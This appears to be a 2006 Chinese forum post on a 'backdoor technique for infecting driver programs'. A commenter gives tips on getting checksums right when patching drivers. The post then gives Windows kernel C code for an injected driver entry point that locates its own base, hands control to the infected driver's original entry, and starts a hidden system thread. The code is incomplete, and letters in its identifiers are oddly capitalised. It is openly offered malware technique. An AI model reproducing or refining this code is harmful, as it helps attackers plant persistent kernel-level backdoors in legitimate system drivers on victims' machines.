vxk 发表于2006-04-11 4:40 PM IP: 221.201.108.*
方法正确,但是一定要把crc sum写正确,另外最好别碰acpi的引入表,这上面的惨痛教训我比你多...
感染驱动程序的后门技术
#include <ntddk.h>
int i;
VOID OnUnloAd( IN PDRIVER_OBJECT DriverObject )
{
//DbgPrint("My Driver UnloAded!/n");
}
//--------------------------------------------------------------------
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
{
//DbgPrint("My Driver LoAded!/n");
DriverObject->DriverUnload = OnUnloAd;
DbgPrint("inject SYS %d/n",i);
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
//--------------------------------------------------------------------
typedef NTSTATUS (*DRIVERENTRY)(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
);
ULONG fAkeDriverEntryOffset = 0x87654321;
ULONG reAlDriverEntry = 0x12345678;
//--------------------------------------------------------------------
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
{
NTSTATUS stAtus;
HANDLE hThreAd;
ULONG bAse;
__asm{
call forwArd;
bAck:
pop bAse;
jmp outofthis
forwArd:
jmp bAck
}
outofthis:
DbgPrint("Driver begin!/n");
//__asm int 3;
DbgPrint("bAse: 0x%x/n",bAse);
reAlDriverEntry = reAlDriverEntry + ((bAse - fAkeDriverEntryOffset) & 0xFFFFF000);
DriverObject->DriverUnload = OnUnloAd;
DbgPrint("reAlDriverEntry: 0x%x/n",reAlDriverEntry);
((DRIVERENTRY)reAlDriverEntry)(DriverObject,RegistryPath);
stAtus = PsCreateSystemThread(&hThreAd,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
InitWorkThreAd,
DriverObject
);
if (!NT_SUCCESS(stAtus)){
DbgPrint("error when creAte the threAd/n");
return FALSE;
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------

被折叠的 条评论
为什么被折叠?